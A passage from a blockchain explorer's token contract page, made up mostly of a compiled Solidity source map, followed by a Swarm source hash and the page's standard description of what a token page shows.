2:0;;;11153:15;;11137:32;;11114:55;11110:192;;;11202:13;;11190:9;:25;11260:17;;11244:11;;:42;;-1:-1:-1;;;;;11260:17:0;:25;11244:15;:42::i;:::-;11234:7;:52;11110:192;11329:41;11344:4;11350:2;11354:6;11362:7;11329:14;:41::i;:::-;9152:2226;9049:2329;;;:::o;2459:224::-;2579:7;2615:12;2607:6;;;;2599:29;;;;-1:-1:-1;;;2599:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2639:9:0;2651:5;2655:1;2651;:5;:::i;:::-;2639:17;2459:224;-1:-1:-1;;;;;2459:224:0:o;11879:101::-;11936:19;;:36;;-1:-1:-1;;;;;11936:19:0;;;;:36;;;;;11965:6;;11936:19;:36;:19;:36;11965:6;11936:19;:36;;;;;;;;;;;;;;;;;;;;;11879:101;:::o;8104:202::-;8199:7;8224:19;8246:10;:8;:10::i;:::-;8224:32;-1:-1:-1;8274:24:0;:7;8224:32;8274:11;:24::i;:::-;8267:31;8104:202;-1:-1:-1;;;8104:202:0:o;11387:483::-;5940:6;:13;;-1:-1:-1;;;;5940:13:0;-1:-1:-1;;;5940:13:0;;;11489:16:::1;::::0;;11503:1:::1;11489:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11489:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11489:16:0::1;11465:40;;11534:4;11516;11521:1;11516:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11516:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11560:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11560:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11516:7;;11560:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11550:4;11555:1;11550:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11550:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11625:15:::1;::::0;11593:62:::1;::::0;11610:4:::1;::::0;11625:15:::1;11643:11:::0;11593:8:::1;:62::i;:::-;11666:15;::::0;:196:::1;::::0;-1:-1:-1;;;11666:196:0;;-1:-1:-1;;;;;11666:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11747:11;;11666:15:::1;::::0;11789:4;;11816::::1;::::0;11836:15:::1;::::0;11666:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5976:6:0;:14;;-1:-1:-1;;;;5976:14:0;;;-1:-1:-1;;;;11387:483:0:o;2314:136::-;2372:7;2399:43;2403:1;2406;2399:43;;;;;;;;;;;;;;;;;:3;:43::i;12479:282::-;12635:7;12630:28;;12644:14;:12;:14::i;:::-;12669:44;12687:6;12695:9;12706:6;12669:17;:44::i;:::-;12729:7;12724:29;;12738:15;8601:17;;8589:9;:29;8639:15;;8629:7;:25;8545:117;15516:164;15558:7;15579:15;15596;15615:19;:17;:19::i;:::-;15578:56;;-1:-1:-1;15578:56:0;-1:-1:-1;15652:20:0;15578:56;;15652:11;:20::i;:::-;15645:27;;;;15516:164;:::o;2947:132::-;3005:7;3032:39;3036:1;3039;3032:39;;;;;;;;;;;;;;;;;:3;:39::i;8315:221::-;8362:9;;:14;:30;;;;-1:-1:-1;8380:7:0;;:12;8362:30;8358:43;;;8315:221::o;8358:43::-;8434:9;;;8414:17;:29;8472:7;;;8454:15;:25;-1:-1:-1;8493:13:0;;;;8517:11;8315:221::o;12770:637::-;13123:17;;12917:15;;;;;;;;;;;;13104:46;;-1:-1:-1;;;;;13115:25:0;;;13123:17;;13115:25;;13142:7;13104:10;:46::i;:::-;-1:-1:-1;;;;;13179:15:0;;;;;;:7;:15;;;;;;12902:248;;-1:-1:-1;12902:248:0;;-1:-1:-1;12902:248:0;;-1:-1:-1;12902:248:0;-1:-1:-1;12902:248:0;-1:-1:-1;12902:248:0;-1:-1:-1;13179:28:0;;12902:248;13179:19;:28::i;:::-;-1:-1:-1;;;;;13161:15:0;;;;;;;:7;:15;;;;;;:46;;;;13239:18;;;;;;;:39;;13262:15;13239:22;:39::i;:::-;-1:-1:-1;;;;;13218:18:0;;;;;;:7;:18;;;;;:60;13289:16;13299:5;13289:9;:16::i;:::-;13316:23;13328:4;13334;13316:11;:23::i;:::-;13372:9;-1:-1:-1;;;;;13355:44:0;13364:6;-1:-1:-1;;;;;13355:44:0;;13383:15;13355:44;;;;1644:25:1;;1632:2;1617:18;;1498:177;13355:44:0;;;;;;;;12891:516;;;;;;12770:637;;;:::o;15689:257::-;15787:7;;15740;;;;;4803:15;4463:1;4803:2;:15;:::i;:::-;4787:31;;:13;:31;:::i;:::-;15805:25;-1:-1:-1;15855:20:0;4803:15;4463:1;4803:2;:15;:::i;:::-;4787:31;;:13;:31;:::i;:::-;15855:7;;;:11;:20::i;:::-;15845:7;:30;15841:61;;;15885:7;;4803:15;4463:1;4803:2;:15;:::i;:::-;4787:31;;:13;:31;:::i;:::-;15877:25;;;;;;15689:257;;:::o;15841:61::-;15921:7;;15930;;-1:-1:-1;15689:257:0;-1:-1:-1;15689:257:0:o;3088:223::-;3208:7;3243:12;3236:5;3228:28;;;;-1:-1:-1;;;3228:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3267:9:0;3279:5;3283:1;3279;:5;:::i;13830:654::-;13944:7;13966;13988;14010;14032;14054;14090:23;14115:12;14129:13;14159:40;14171:7;14180:9;;14191:7;;14159:11;:40::i;:::-;14089:110;;;;;;14210:19;14232:10;:8;:10::i;:::-;14210:32;;14254:15;14271:23;14296:12;14325:46;14337:7;14346:4;14352:5;14359:11;14325;:46::i;:::-;14253:118;;;;;;14378:7;14373:23;;14395:1;14387:9;;14373:23;14415:7;;14424:15;;-1:-1:-1;14415:7:0;;-1:-1:-1;14447:15:0;;-1:-1:-1;14464:4:0;;-1:-1:-1;14464:4:0;-1:-1:-1;13830:654:0;;-1:-1:-1;;;;13830:654:0:o;2126:179::-;2184:7;;2216:5;2220:1;2216;:5;:::i;:::-;2204:17;;2245:1;2240;:6;;2232:46;;;;-1:-1:-1;;;2232:46:0;;13099:2:1;2232:46:0;;;13081:21:1;13138:2;13118:18;;;13111:30;13177:29;13157:18;;;13150:57;13224:18;;2232:46:0;12897:351:1;13416:211:0;13469:19;13491:10;:8;:10::i;:::-;13469:32;-1:-1:-1;13512:13:0;13528:22;:5;13469:32;13528:9;:22::i;:::-;13602:4;13586:22;;;;:7;:22;;;;;;13512:38;;-1:-1:-1;13586:33:0;;13512:38;13586:26;:33::i;:::-;13577:4;13561:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13416:211:0:o;13636:147::-;13714:7;;:17;;13726:4;13714:11;:17::i;:::-;13704:7;:27;13755:10;;:20;;13770:4;13755:14;:20::i;:::-;13742:10;:33;-1:-1:-1;;13636:147:0:o;14493:469::-;14662:7;;;;14756:30;14782:3;14756:21;:7;14768:8;14756:11;:21::i;:::-;:25;;:30::i;:::-;14741:45;-1:-1:-1;14797:13:0;14813:28;14837:3;14813:19;:7;14825:6;14813:11;:19::i;:28::-;14797:44;-1:-1:-1;14852:23:0;14878:28;14797:44;14878:17;:7;14890:4;14878:11;:17::i;:::-;:21;;:28::i;:::-;14852:54;14942:4;;-1:-1:-1;14948:5:0;;-1:-1:-1;14493:469:0;;-1:-1:-1;;;;;14493:469:0:o;14971:536::-;15165:7;;;;15262:24;:7;15274:11;15262;:24::i;:::-;15244:42;-1:-1:-1;15297:12:0;15312:21;:4;15321:11;15312:8;:21::i;:::-;15297:36;-1:-1:-1;15344:13:0;15360:22;:5;15370:11;15360:9;:22::i;:::-;15344:38;-1:-1:-1;15393:23:0;15419:28;15344:38;15419:17;:7;15431:4;15419:11;:17::i;:28::-;15468:7;;;;-1:-1:-1;15494:4:0;;-1:-1:-1;14971:536:0;;-1:-1:-1;;;;;;;14971:536:0:o;2692:246::-;2750:7;2774:1;2779;2774:6;2770:47;;-1:-1:-1;2804:1:0;2797:8;;2770:47;2827:9;2839:5;2843:1;2839;:5;:::i;:::-;2827:17;-1:-1:-1;2872:1:0;2863:5;2867:1;2827:17;2863:5;:::i;:::-;:10;2855:56;;;;-1:-1:-1;;;2855:56:0;;13455:2:1;2855:56:0;;;13437:21:1;13494:2;13474:18;;;13467:30;13533:34;13513:18;;;13506:62;-1:-1:-1;;;13584:18:1;;;13577:31;13625:19;;2855:56:0;13253:397:1;14:597;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1680:456::-;1757:6;1765;1773;1826:2;1814:9;1805:7;1801:23;1797:32;1794:52;;;1842:1;1839;1832:12;1794:52;1881:9;1868:23;1900:31;1925:5;1900:31;:::i;:::-;1950:5;-1:-1:-1;2007:2:1;1992:18;;1979:32;2020:33;1979:32;2020:33;:::i;:::-;1680:456;;2072:7;;-1:-1:-1;;;2126:2:1;2111:18;;;;2098:32;;1680:456::o;2538:273::-;2594:6;2647:2;2635:9;2626:7;2622:23;2618:32;2615:52;;;2663:1;2660;2653:12;2615:52;2702:9;2689:23;2755:5;2748:13;2741:21;2734:5;2731:32;2721:60;;2777:1;2774;2767:12;2816:247;2875:6;2928:2;2916:9;2907:7;2903:23;2899:32;2896:52;;;2944:1;2941;2934:12;2896:52;2983:9;2970:23;3002:31;3027:5;3002:31;:::i;3068:180::-;3127:6;3180:2;3168:9;3159:7;3155:23;3151:32;3148:52;;;3196:1;3193;3186:12;3148:52;-1:-1:-1;3219:23:1;;3068:180;-1:-1:-1;3068:180:1:o;3253:388::-;3321:6;3329;3382:2;3370:9;3361:7;3357:23;3353:32;3350:52;;;3398:1;3395;3388:12;3350:52;3437:9;3424:23;3456:31;3481:5;3456:31;:::i;:::-;3506:5;-1:-1:-1;3563:2:1;3548:18;;3535:32;3576:33;3535:32;3576:33;:::i;:::-;3628:7;3618:17;;;3253:388;;;;;:::o;3646:127::-;3707:10;3702:3;3698:20;3695:1;3688:31;3738:4;3735:1;3728:15;3762:4;3759:1;3752:15;3778:422;3867:1;3910:5;3867:1;3924:270;3945:7;3935:8;3932:21;3924:270;;;4004:4;4000:1;3996:6;3992:17;3986:4;3983:27;3980:53;;;4013:18;;:::i;:::-;4063:7;4053:8;4049:22;4046:55;;;4083:16;;;;4046:55;4162:22;;;;4122:15;;;;3924:270;;;3928:3;3778:422;;;;;:::o;4205:806::-;4254:5;4284:8;4274:80;;-1:-1:-1;4325:1:1;4339:5;;4274:80;4373:4;4363:76;;-1:-1:-1;4410:1:1;4424:5;;4363:76;4455:4;4473:1;4468:59;;;;4541:1;4536:130;;;;4448:218;;4468:59;4498:1;4489:10;;4512:5;;;4536:130;4573:3;4563:8;4560:17;4557:43;;;4580:18;;:::i;:::-;-1:-1:-1;;4636:1:1;4622:16;;4651:5;;4448:218;;4750:2;4740:8;4737:16;4731:3;4725:4;4722:13;4718:36;4712:2;4702:8;4699:16;4694:2;4688:4;4685:12;4681:35;4678:77;4675:159;;;-1:-1:-1;4787:19:1;;;4819:5;;4675:159;4866:34;4891:8;4885:4;4866:34;:::i;:::-;4936:6;4932:1;4928:6;4924:19;4915:7;4912:32;4909:58;;;4947:18;;:::i;:::-;4985:20;;4205:806;-1:-1:-1;;;4205:806:1:o;5016:140::-;5074:5;5103:47;5144:4;5134:8;5130:19;5124:4;5103:47;:::i;5161:168::-;5201:7;5267:1;5263;5259:6;5255:14;5252:1;5249:21;5244:1;5237:9;5230:17;5226:45;5223:71;;;5274:18;;:::i;:::-;-1:-1:-1;5314:9:1;;5161:168::o;5334:356::-;5536:2;5518:21;;;5555:18;;;5548:30;5614:34;5609:2;5594:18;;5587:62;5681:2;5666:18;;5334:356::o;6047:251::-;6117:6;6170:2;6158:9;6149:7;6145:23;6141:32;6138:52;;;6186:1;6183;6176:12;6138:52;6218:9;6212:16;6237:31;6262:5;6237:31;:::i;7224:306::-;7312:6;7320;7328;7381:2;7369:9;7360:7;7356:23;7352:32;7349:52;;;7397:1;7394;7387:12;7349:52;7426:9;7420:16;7410:26;;7476:2;7465:9;7461:18;7455:25;7445:35;;7520:2;7509:9;7505:18;7499:25;7489:35;;7224:306;;;;;:::o;10759:128::-;10799:3;10830:1;10826:6;10823:1;10820:13;10817:39;;;10836:18;;:::i;:::-;-1:-1:-1;10872:9:1;;10759:128::o;11296:125::-;11336:4;11364:1;11361;11358:8;11355:34;;;11369:18;;:::i;:::-;-1:-1:-1;11406:9:1;;11296:125::o;11558:127::-;11619:10;11614:3;11610:20;11607:1;11600:31;11650:4;11647:1;11640:15;11674:4;11671:1;11664:15;11690:980;11952:4;12000:3;11989:9;11985:19;12031:6;12020:9;12013:25;12057:2;12095:6;12090:2;12079:9;12075:18;12068:34;12138:3;12133:2;12122:9;12118:18;12111:31;12162:6;12197;12191:13;12228:6;12220;12213:22;12266:3;12255:9;12251:19;12244:26;;12305:2;12297:6;12293:15;12279:29;;12326:1;12336:195;12350:6;12347:1;12344:13;12336:195;;;12415:13;;-1:-1:-1;;;;;12411:39:1;12399:52;;12506:15;;;;12471:12;;;;12447:1;12365:9;12336:195;;;-1:-1:-1;;;;;;;12587:32:1;;;;12582:2;12567:18;;12560:60;-1:-1:-1;;;12651:3:1;12636:19;12629:35;12548:3;11690:980;-1:-1:-1;;;11690:980:1:o;12675:217::-;12715:1;12741;12731:132;;12785:10;12780:3;12776:20;12773:1;12766:31;12820:4;12817:1;12810:15;12848:4;12845:1;12838:15;12731:132;-1:-1:-1;12877:9:1;;12675:217::o

Swarm Source

ipfs://78df4827243243b02059d2c5058754eef41a073dcf70cf23ff70428d39794963
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.